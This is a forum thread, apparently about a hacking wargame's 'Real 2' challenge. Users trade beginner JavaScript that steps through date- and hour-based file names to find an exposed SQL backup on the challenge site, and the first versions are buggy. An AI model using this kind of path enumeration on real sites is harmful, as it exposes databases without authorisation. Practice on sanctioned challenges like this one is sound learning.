Real 2 with javascript i need help
i do it : </HEAD> <script type="text/javascript"> function larika() { i = 0 j = 0 var day = new Array("01","02","03","04","05","06","07","08","09","10","11","12","13","14","15","16","17","18","19","20","21","22","23","24","25","26","27","28","29","30","31") var hour = new Array("00","01","02","03","04","05","06","07","08","09","10","11","12","13","14","15","16","17","18","19","20","21","22","23","24") url = "http://hellboundhackers.org/challenges/real2/backups/backup_2004-09-"+(day.valueOf[i]))+"_"+(hour.valueOf[j])+"00.sql"
while (i <= 31) { while (j <= 24) { window.location(url) j = j+1} i = i+1} }
</script> <TITLE>Larica src</TITLE> </HEAD> <BODY> <input type="button" value="Check" onclick="larika()" /></BODY> </HTML>
Can anyone help me to understand what i'm wrong? Thanks
Sorry guy and thanks for replyes!
My intenction was to see if my "first" script was capable to open almoust a page (url)!!! Now i'm working to correct the errors and the i'm thinking to a output that write a message whit the right url. To do this i'm thinking to controll the server response but still i dont know how do it.
Thank you very much for attention
Ho can i controll the server response?
i correct my script to this :
</HEAD> <script type="text/javascript"> function larika() { i = 0 j = 0
var day = new Array("01","02","03","04","05","06","07","08","09","10","11","12","13","14","15","16","17","18","19","20","21","22","23","24","25","26","27","28","29","30","31"); var hour = new Array("00","01","02","03","04","05","06","07","08","09","10","11","12","13","14","15","16","17","18","19","20","21","22","23","24"); var url = "http://hellboundhackers.org/challenges/real2/backups/backup_2004-09-"+day[i]+"_"+hour[j]+"00.sql";
while (i <= 31) { while (j <= 24) { j = j+1} i = i+1} }
</script> <TITLE>Larica src</TITLE> </HEAD> <BODY> <input type="button" value="Check" onclick="larika()" /></BODY> </HTML>
Now i wont to controll the server response for each url and open a new page whit the right url. Anyone can help me with this? Thanks
Idk what i would call this but i upgraded the script a lil <html> <head> <script type="text/javascript"> function larika(i,j) { var day = new Array("0","01","02","03","04","05","06","07","08","09","10","11","12","13","14","15","16","17","18","19","20","21","22","23","24","25","26","27","28","29","30","31"); var hour = new Array("00","01","02","03","04","05","06","07","08","09","10","11","12","13","14","15","16","17","18","19","20","21","22","23","24"); document.getElementById("frm").src="http://hellboundhackers.org/challenges/real2/backups/backup_2004-09-"+(day[i])+""+(hour[j])+"00.sql"; document.getElementById("txt").innerHTML="The Current number it is on is I: "+i+", and J: "+j+" that means that the file is <br />backup_2004-09-"+(day[i])+""+(hour[j])+"00.sql"; if(j<=23) { j = j+1; t = setTimeout("larika("+i+","+j+")", 1000); } else { if(i<=30) { i = i+1; t = setTimeout("larika("+i+", 0)", 1000); } } } function stopCount() { clearTimeout(t) } </script> <TITLE>Larika moded</TITLE> </HEAD> <BODY onload="larika(1,0);"><table align="center"><tr><td> <iframe width="500px" height="200px" id="frm" src="http://hellboundhackers.org/challenges/real2/backups/backup_2004-09-00_0000.sql" ></iframe> </td></tr><tr><td align="center"><input type="button" onclick="stopCount();" value="stop" /></td></tr><tr><td align="center"><p id="txt">Run Script :-)</p></td></tr></table> </BODY> </HTML>